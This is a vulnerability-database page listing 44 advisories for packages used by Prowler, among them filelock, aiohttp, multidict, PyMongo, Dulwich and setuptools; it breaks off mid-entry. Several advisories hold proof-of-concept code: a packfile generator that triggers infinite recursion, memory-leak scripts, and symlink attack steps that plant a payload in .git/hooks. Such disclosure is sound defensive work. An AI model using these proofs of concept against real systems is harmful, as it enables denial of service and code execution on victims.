Threats affecting pkg:brew/prowler
44 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Low | 2.5 | CVE-2026-112907prowler · filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the Low2.5GCVE DatabaseCVE-2026-112907 On Windows the soft locks (`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async forms, and a `FileLock` that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each `acquire()` attempt that finds a marker opens it with `os.open` to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle. Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every `acquire()` by the user running the lock (below: the lock user) then waits inside the open, past its `timeout`, `blocking=False` and `cancel_check`, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L` scores 2.5 (Low).** `AV:L` (local): the other account needs a logon on the same host. `AC:H` (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its `lifetime`. `PR:L` (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). `UI:N` (no user interaction). `S:U` (scope unchanged). `C:N` and `I:N`: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. `A:L` (partial availability impact): one thread, or the event loop with `run_in_executor=False`, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading. Classification from the review: **security, conditional** on an unheld marker that another account can open. ## Scope and preconditions - Platform and classes: Windows only. `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, `AsyncSoftFileLock` and the other async soft locks, and `FileLock` after its `ENOSYS` fallback to a soft lock. `WindowsFileLock` opens its lock file on a separate code path that this advisory does not cover. - Marker access: the soft locks create the marker with `os.open`, which on Windows applies no more of `mode` than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete. - Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose `lifetime` has passed. While the holder keeps its handle, the request fails. - Holder behavior: the other account requests the oplock through an overlapped `DeviceIoControl` and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time. - What the lock user sees: `SoftFileLock.acquire(timeout=1)` returned `Timeout` after 10.02 s with the second account's handle. In the same-account probe `os.open` with `O_RDONLY` was still running after 15 s and returned once the holder closed. The retry loop consults `timeout`, `blocking=False` and `cancel_check` between attempts only. With `AsyncSoftFileLock(run_in_executor=False)` the event loop waits. - Stale break: `break_lock_file` renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes. - Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker. ## Affected code Scanned commit `b831496b0273`: the [`os.open` in `_read_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L323) ([function](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L312-L335)), called from [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) | GCVE Database | |||
| Medium | 4.7 | EPSS 0.2% | CVE-2026-112906prowler · filelock: SoftFileLock evicts a fresh lock file whose watched age another local user's pre-dated file passed on Medium4.7EPSS 0.2%GCVE DatabaseCVE-2026-112906 `SoftFileLock` and `MarkerSoftFileLock` evict an unparsable marker (the lock file at `<path>`, whose presence says a process holds the lock) once a waiting contender has watched it unchanged for two seconds. `SoftFileLease` expires a lease the same way. The watch tells two looks apart by the marker's modification time (mtime) and inode number (the kernel's identity for a file, independent of its name) alone. Another local user (the other user below) who can create files in the lock's directory, a sticky `/tmp` included (the sticky bit is a directory flag that lets only a file's owner remove it), parks an empty file of its own at the lock path. It dates that file to a future tick of the kernel's coarse clock (a clock that advances in steps of 4 ms), lets the waiters of the user running the lock (the lock user below) watch it past two seconds, and unlinks it in that tick. On a filesystem that hands a freed inode number straight back (ext4, overlayfs on ext4) the lock user's next marker repeats both values. It inherits the time spent watching the other user's file, and a second waiter removes it while its owner holds the lock. Two of the lock user's processes then run the critical section together with no error. A `SoftFileLease` waiter takes a live lease that its owner wrote moments before, within milliseconds instead of after `lease_duration`. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-RKC48J5B`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N, 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): a race the other user cannot steer. It needs ext4-style inode reuse, a coarse-clock timestamp tick the other user can predict, and two polls of the lock user inside a 4 ms tick and a ~75 µs create-to-write gap. The scanner measured 2 to 10 % of attempts; none of our own 250 attempts fired. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's processes act on their own. `C:N` (no confidentiality impact): the other user reads nothing. `I:H` (high integrity impact): two holders write the data the lock protects, and neither learns of the other. `A:N` (no availability impact): the lock keeps working. Classification from the review: security, conditional, by mechanism. It is the same cross-UID primitive (a UID is a user account's numeric id) as the stale-break inode-reuse race reported in a separate advisory: an inode number reused after the other user's unlink in a sticky directory, which our review reproduced across UIDs, plus a forged future mtime. The scanner rated it high (CWE-694) and demonstrated it across UIDs in its own runs. It did not fire in 250 attempts of ours over ext4 with inode reuse confirmed, nor in the scanner-side triage, so its cross-user claim rests on the report's own runs and on the mechanism. ## Scope and preconditions - The other user can create files in the lock's directory; a root-owned `1777` directory is enough. It creates, `utime`s (sets the timestamps of) and unlinks only its own file. In the sticky directory its `unlink`, `rename`, `open(..., "w")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. - The directory is on a filesystem that reuses a freed inode number at once: ext4, and overlayfs on it (thousands of create/unlink cycles returned one number). tmpfs does not reuse one, so the pair cannot repeat there; btrfs does not either. - File timestamps come from a coarse clock whose future values the other user can compute (`CLOCK_REALTIME_COARSE`, 4 ms steps on Linux 6.1; 20,000 file creations all carried that clock's value). - At least two processes of the lock user are waiting on the lock while the other user's file is there. The other user does not choose which processes overlap or when; each attempt blocks the lock for 2.2 s (for a lease, `lease_duration`). - No symbolic link, hard link or FIFO takes part, so the `fs.protected_*` sysctls (Linux settings that restrict following links and opening pipes in sticky world-writable directories) play no part. `StrictSoftFileLock` keys its watch the same way but only raises `SoftFileLockProtocolError`, so it breaks no lock there. filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that. ## Affected code At the scanned commit b831496, the watch is [`SoftFileLock._marker_unchanged_for`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L125-L132), with its caller in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b | GCVE Database | ||
| Medium | 6.3 | EPSS 0.4% | CVE-2026-111750AIOHTTP · Pure-Python parser request smuggling Medium6.3EPSS 0.4%GCVE DatabaseCVE-2026-111750 ### Summary The pure Python parser is vulnerable to an HTTP request smuggling attack. ### Impact If users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack. ### Workaround Switch to the default C parser. | GCVE Database | ||
| Low | 2.3 | EPSS 0.4% | Low2.3EPSS 0.4%GCVE DatabaseCVE-2026-111749 ### Summary A subdomain can remove the Host-Only flag from an existing cookie to a parent domain. ### Impact A user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.4% | Medium6.3EPSS 0.4%GCVE DatabaseCVE-2026-111748 ### Summary An attacker sending an absolute-form request can spoof the scheme used. ### Impact If user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa. ### Workaround A WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies). | GCVE Database | ||
| High | 8.2 | EPSS 0.4% | CVE-2026-111066AIOHTTP · File descriptor exhaustion in multipart requests High8.2EPSS 0.4%GCVE DatabaseCVE-2026-111066 ### Summary An attacker can exhaust file descriptors with specially crafted multipart requests. ### Impact If a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion. | GCVE Database | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-111065AIOHTTP · Connector pool exhaustion via Max-Age overflow Medium6.9EPSS 0.4%GCVE DatabaseCVE-2026-111065 ### Summary An overflow in Max-Age processing can skip closing a connection. ### Impact An attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections. | GCVE Database | ||
| High | 8.2 | EPSS 0.4% | High8.2EPSS 0.4%GCVE DatabaseCVE-2026-111064 ### Summary The keepalive timeout was not used during the initial portion of a request. ### Impact An attacker could keep an idle connection open indefinitely before sending any data. ### Workaround Use a reverse proxy (as recommended for all production deployments) with sensible keepalive limits. | GCVE Database | ||
| Medium | 6.3 | EPSS 0.2% | CVE-2026-111063AIOHTTP · Secure attribute not enforced for shared cookie Medium6.3EPSS 0.2%GCVE DatabaseCVE-2026-111063 ### Summary The Secure attribute was not being enforced for the shared cookie. ### Impact It may be possible to send a shared cookie marked Secure through an unencrypted request. | GCVE Database | ||
| Medium | 5.9 | EPSS <0.1% | CVE-2026-106435MongoDB Python Driver · Out-of-bounds read in BSON decoding via a malformed Regex element Medium5.9EPSS <0.1%GCVE DatabaseCVE-2026-106435 ### Impact The C extension's BSON decoder scans a Regex element's pattern and flags strings with strlen before checking the document's remaining length, so a crafted truncated Regex element can read past the end of the caller's buffer. bson.decode and bson.decode_all accept mmap and array buffers, which carry no NUL sentinel; the read can cross into unmapped memory and kill the process with an uncatchable SIGSEGV. Any application decoding untrusted BSON from such buffers is affected — impact is availability only, since the out-of-bounds bytes are never returned as content. NUL-terminated buffers (bytes, bytearray) raise `InvalidBSON` at worst; the driver's own transport and pure-Python installs are not affected. All releases through 4.18.2 are affected when the C extension is loaded. ### Patches Fixed in PyMongo 4.18.3. Malformed Regex elements now raise InvalidBSON on every accepted buffer type; valid documents decode unchanged. ### Workarounds Decode untrusted BSON only from NUL-terminated buffers — bytes or bytearray — and copy mmap input first, e.g. bytes(mm[:size]). | GCVE Database | ||
| Medium | 5.4 | EPSS 0.3% | Medium5.4EPSS 0.3%GCVE DatabaseCVE-2026-73262 Prowler is a cloud security platform. Prior to 5.37.0, Prowler's HTML output formatter in prowler/lib/outputs/html/html.py inserted finding.resource_tags, assembled by unroll_dict and parse_html_string, into generated reports without HTML escaping, allowing a cloud principal who can modify a scanned resource tag to store HTML or JavaScript that executes when another user opens the report. This issue is fixed in version 5.37.0. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.4% | Medium5.3EPSS 0.4%GCVE Database ## Description A reference leak in the items-view union and subtraction operators of aio-libs/multidict 6.7.0 through 6.9.0 (C extension) lets a remote client drive unbounded, unreclaimable memory growth by having each operand element leak one key-identity object and one value object. The reflected-union path (`operand | d.items()`, `multidict_itemsview_or2_impl`) and the subtraction path (`d.items() - operand`, `multidict_itemsview_sub1_impl`) parse each element into new strong references but release only the tuple wrapper, never the identity and value. Servers in the aio-libs stack build these views over attacker-supplied HTTP headers and query strings, so the operand size is under remote control. Forced garbage collection does not recover the leaked objects, so resident memory rises monotonically until the process is killed. --- ## Root Cause `_multidict_itemsview_parse_item()` returns **new** references: a fresh identity via `md_calc_identity()` and a fresh value via `Py_NewRef()`. The `or2_impl` first parse loop requests both but clears only `arg`: ```c // views.h:565 — or2_impl first parse loop while ((st = PyIter_NextItem(iter, &arg)) > 0) { int tmp = _multidict_itemsview_parse_item( self, arg, &identity, NULL, &value); // identity + value: new refs if (tmp < 0) goto fail; else if (tmp > 0) { if (_set_add(tmp_set, identity, value) < 0) goto fail; } Py_CLEAR(arg); // :575 clears arg ONLY } ``` `_set_add()` builds its own tuple with `PyTuple_Pack` and `Py_DECREF`s it, so it never borrows the loop's `identity`/`value`. On the next iteration those variables are overwritten, so the previous references are lost permanently. The `sub1_impl` first loop (`:686-696`) has the identical omission. This is an editing slip, not an ownership contract: every sibling path clears all three references per iteration, `and1_impl` (`:304-306`), `and2_impl` (`:389-391`), `or1_impl` (`:506-508`), and the second (`md_next`) loops of both functions (`:605-607`, `:726-728`). PR #1413 added a `Py_DECREF(tpl)` to the *second* loop of `or2`/`sub1`, fixing a different temporary-tuple leak; it never touched the first parse loop, so this leak remains on `master`. `views.h` is byte-identical between `v6.6.0` and `v6.7.0`, yet 6.6.4 does not leak and 6.7.0 does. The regression is behavioural, introduced by a key-identity ownership change in `hashtable.h` across that boundary that made `md_calc_identity()` return a fresh strong reference the unchanged parse loop never releases. --- ## Reproduction Environment | Item | Value | |------|-------| | **Runtime** | CPython 3.14.6 | | **multidict** | 6.9.0 (PyPI binary wheel, C extension) | | **OS** | macOS (darwin 25.6.0, arm64) | --- ## Proof of Concept ### POC Source Code #### poc_refcount.py — leak proof with intersection control ```python import sys, gc from multidict import CIMultiDict def probe(name, run_op): d = CIMultiDict(); d["seed"] = "x" value = object() # unique sentinel N = 100000 operand = [("k%d" % i, value) for i in range(N)] gc.collect(); before = sys.getrefcount(value) run_op(d, operand) gc.collect(); after = sys.getrefcount(value) print(f"[{name}] leaked strong refs = {after - before}") probe("or2 operand | items", lambda d, o: o | d.items()) # reflected union probe("sub1 items - operand", lambda d, o: d.items() - o) # subtraction probe("and2 items & operand", lambda d, o: d.items() & o) # CONTROL: clears, expect 0 ``` #### poc_dispatch.py — maps which paths leak ```python import sys, gc from multidict import CIMultiDict def probe(name, fn): d = CIMultiDict(); d["seed"] = "x" v = object(); N = 50000 operand = [("k%d" % i, v) for i in range(N)] gc.collect(); before = sys.getrefcount(v) fn(d, operand); gc.collect(); after = sys.getrefcount(v) print(f"{name:35s} leaked={after - before}") probe("operand | d.items() (or2)", lambda d, o: o | d.items()) probe("d.items() | operand (or1)", lambda d, o: d.items() | o) probe("d.items() - operand (sub1)", lambda d, o: d.items() - o) probe("operand - d.items() (rsub)", lambda d, o: set(o) - d.items()) probe("d.items() & operand (and)", lambda d, o: d.items() & o) ``` #### poc_rss.py — availability consequence ```python import sys, gc, resource from multidict import CIMultiDict def rss_mb(): r = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss return r / (1024 * 1024) if sys.platform == "darwin" else r / 1024 d = CIMultiDict(); d["seed"] = "x" gc.collect(); print(f"start RSS = {rss_mb():.1f} MB") for i in range(200): operand = [(f"k{i}_{j}", f"v{i}_{j}") for j in range(50000)] _ = operand | d.items() del operand gc.collect() # prove GC cannot reclaim the leak if (i + 1) % 40 == 0: print(f"after {(i+1)*50000:>9,} elements: RSS = {rss_mb():.1f} MB") ``` ### Execution Steps 1. `python3 -m venv venv` (CP | GCVE Database | ||
| High | 7.3 | EPSS 0.2% | CVE-2026-114098stash pop · Dulwich: Symlink directory traversal High7.3EPSS 0.2%GCVE DatabaseCVE-2026-114098 ## Summary Dulwich's `stash.py:pop()` function is vulnerable to symlink directory traversal, allowing an attacker to write arbitrary files outside the repository worktree when a victim pops a stash in a malicious repository. ## Root Cause The `pop()` function at `dulwich/stash.py:236` uses `os.path.exists(parent_dir)` to check if a parent directory exists before writing stashed files. `os.path.exists()` follows symlinks, so when an intermediate directory in the path is a symlink pointing outside the worktree (e.g., `link → ../../.git/hooks`), the check passes and subsequent file writes resolve through the symlink. The `validate_path()` function (line 228) only validates path component names against `INVALID_DOTNAMES` — it performs zero filesystem symlink detection. On dulwich 1.2.7 (latest release), `build_file_from_blob()` has no symlink protection whatsoever. ## Impact An attacker can craft a malicious repository that, when a victim clones it and performs a stash pop operation, writes attacker-controlled content to arbitrary filesystem locations. Writing to `.git/hooks/post-checkout` achieves Remote Code Execution on the victim's machine on the next git checkout operation. ## Attack Scenario 1. Attacker creates a repository with branch `main` containing `link` (symlink → `../../.git/hooks`) and branch `feature` containing `link/post-checkout` (executable payload) 2. Victim clones the repository (landing on `main` — symlink `link` exists in worktree) 3. Victim checks out `feature`, makes changes, runs `stash.push()` 4. Victim checks out `main` (restoring the `link` symlink) 5. Victim runs `stash.pop(0)` — stash contains `link/post-checkout` 6. `os.path.exists("link")` returns True (symlink to existing directory), `os.makedirs` skipped 7. `build_file_from_blob(blob, mode, "link/post-checkout")` → `open("link/post-checkout", "wb")` follows the intermediate symlink → payload written to `.git/hooks/post-checkout` 8. Next checkout operation triggers the hook → RCE ## Suggested Fix Before writing any file, verify that no component of the target path resolves through a symlink outside the worktree. Use `os.path.realpath(parent_dir)` and confirm it stays within the repository root. Alternatively, use `os.open()` with `O_NOFOLLOW` on each path component. Reported by **zx (Jace)** | GCVE Database | ||
| High | 7.3 | EPSS 0.2% | CVE-2026-114096Dulwich · Symlink write-through in checkout(paths=[]) via raw os.open bypasses all symlink protections High7.3EPSS 0.2%GCVE DatabaseCVE-2026-114096 ## Summary Dulwich's `porcelain.checkout(paths=[...])` code path writes files using raw `os.open(file_path, O_WRONLY|O_CREAT|O_TRUNC, mode)` followed by `f.write(obj.data)`. This code path does NOT call `build_file_from_blob()` at all, completely bypassing any symlink protections (including the unreleased d09f8af fix). `os.open` without `O_NOFOLLOW` follows symlinks at both the target file and intermediate directories, allowing arbitrary file writes. ## Root Cause At `dulwich/porcelain/__init__.py:5661-5675`, the `checkout(paths=[...])` implementation: ```python file_path = _checked_worktree_path(r, path) os.makedirs(os.path.dirname(file_path), exist_ok=True) flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC with os.fdopen(os.open(file_path, flags, mode), "wb") as f: f.write(obj.data) ``` `_checked_worktree_path()` (line 601-631) only performs name validation — checking that the path doesn't start with `/` or `\\` and that components pass `INVALID_DOTNAMES` checks. It performs zero filesystem symlink detection. ## Impact An attacker can craft a malicious repository that, when a victim clones it and runs `checkout(paths=[...])`, writes attacker-controlled content (with attacker-controlled permissions) to any filesystem location accessible to the user. Writing to `.git/hooks/post-checkout` achieves RCE on the next git checkout. ## Attack Scenario 1. Attacker creates a repository where HEAD has `trigger` as a symlink (mode 120000, content `../../.git/hooks/post-checkout`), and tag `v1.0` has `trigger` as an executable file (mode 100755, content `#!/bin/sh\nmalicious_payload`) 2. Victim clones the repository — worktree has `trigger` → `../../.git/hooks/post-checkout` (a symlink) 3. Victim runs `porcelain.checkout(repo, target="v1.0", paths=["trigger"])` to restore a specific file from a tag 4. `_checked_worktree_path(r, "trigger")` passes — name validation only, no symlink check 5. `os.open("trigger", O_WRONLY|O_CREAT|O_TRUNC, 0o755)` follows the symlink → opens `.git/hooks/post-checkout` for writing 6. `f.write(obj.data)` writes the malicious payload to the hook 7. Next checkout operation triggers the hook → RCE ## Suggested Fix Replace the raw `os.open` path with a call to `build_file_from_blob` (once that function is hardened against intermediate symlinks), or add explicit symlink detection: resolve the path with `os.path.realpath()` and verify it stays within the worktree root before opening. Reported by **zx (Jace)** | GCVE Database | ||
| High | 7.3 | EPSS 0.2% | CVE-2026-114097Dulwich · Symlink directory traversal in filter-branch index_filter via cross-commit state persistence High7.3EPSS 0.2%GCVE DatabaseCVE-2026-114097 ## Summary Dulwich's `filter_branch.py` `CommitFilter._apply_index_filter()` is vulnerable to symlink directory traversal. When processing commit history, materialized tree entries (including symlinks) persist in the working directory between commits, allowing a symlink from an ancestor commit to redirect file writes from a descendant commit to arbitrary filesystem locations. ## Root Cause `_apply_index_filter()` at `dulwich/filter_branch.py:212` calls `build_index_from_tree(".", tmp_index_path, ...)` which materializes all tree entries to the current working directory. The `finally` block (line 229-230) only cleans up the temporary index file (`os.unlink(tmp_index_path)`) — NOT the filesystem files written to CWD. When `process_commit()` processes parents recursively first (line 260), files materialized from ancestor commits persist and affect processing of descendant commits. On dulwich 1.2.7, `build_file_from_blob()` has no symlink protection, and `validate_path_element` only validates name patterns, not filesystem state. ## Impact An attacker can craft a malicious repository where running `filter_branch` with an index filter writes attacker-controlled content to arbitrary filesystem locations via symlink traversal. This achieves RCE if the write targets `.git/hooks/`. ## Attack Scenario 1. Attacker creates a repository where commit history (linearized) has: - Ancestor commit: tree entry `evil` (mode 120000, symlink → `/target_dir`) - Descendant commit: tree entry `evil/payload` (mode 100644, attacker content) 2. Victim clones repository and runs `filter_branch` with an index filter 3. `process_commit()` processes ancestor first → materializes `evil` as symlink to `/target_dir` in CWD 4. CWD is NOT cleaned between commits 5. Processing descendant: `os.path.exists("./evil")` → True (symlink exists). `build_file_from_blob(blob, mode, "./evil/payload")` → `open("./evil/payload", "wb")` follows intermediate symlink → writes to `/target_dir/payload` ## Suggested Fix Clean the CWD between commit iterations in `_apply_index_filter()`, or verify that no intermediate path components are symlinks before writing files. Reported by **zx (Jace)** | GCVE Database | ||
| High | 7.1 | EPSS 0.3% | High7.1EPSS 0.3%GCVE DatabaseCVE-2026-114095 ### Affected file * `dulwich/pack.py` (Method: `Pack.resolve_object`) ### Description / Summary A High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`. If a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process. **Vulnerable Code Breakdown (`dulwich/pack.py`):** ```python elif obj_type == OFS_DELTA: delta_offset = parse_pack_object_offset_at(...) base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0 base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion ``` ### Potential impact An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). 1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely. 2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. 3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die("delta offset == 0 is invalid");`. ### POC (Proof of Concept) The following Python script generates a 44-byte packfile that triggers the loop: ```python from dulwich.pack import Pack import struct, zlib, tempfile, os # Build a single OFS_DELTA entry whose delta_offset is 0 type_ofs_delta = 6 header = bytes([(type_ofs_delta << 4) | 0]) ofs_bytes = bytes([0x00]) # delta_offset = 0 body = zlib.compress(b'') raw = header + ofs_bytes + body pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20) fd, path = tempfile.mkstemp(suffix='.pack') os.write(fd, pack); os.close(fd) # Trigger: This call never returns and spins at 100% CPU p = Pack(path) obj = p[list(p.iterobjects())[0]] ``` ### Possible solution 1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`: ```python if delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") ``` 2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF). | GCVE Database | ||
| Medium | 6.1 | EPSS 0.4% | CVE-2026-59890sdist · setuptools: MANIFEST.in exclusion bypass Medium6.1EPSS 0.4%GCVE DatabaseCVE-2026-59890 ## Summary When building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index. ## Details File names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization: ```python # setuptools/command/egg_info.py (FileList.global_exclude) def global_exclude(self, pattern): match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD return self._remove_files(match.match) # byte-level regex over raw os.walk names ``` A rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file. A `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred. ## Impact `MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected. ## Proof of concept With a project containing `MANIFEST.in`: ``` global-include *.txt *.json global-exclude secret_café.txt # rule saved NFC ``` and an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1. ## Remediation Normalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS. ## Credit Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762. | GCVE Database | ||
| Medium | 5.3 | EPSS 0.1% | CVE-2026-22701Prowler · filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock Medium5.3EPSS 0.1%GCVE DatabaseCVE-2026-22701 ## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 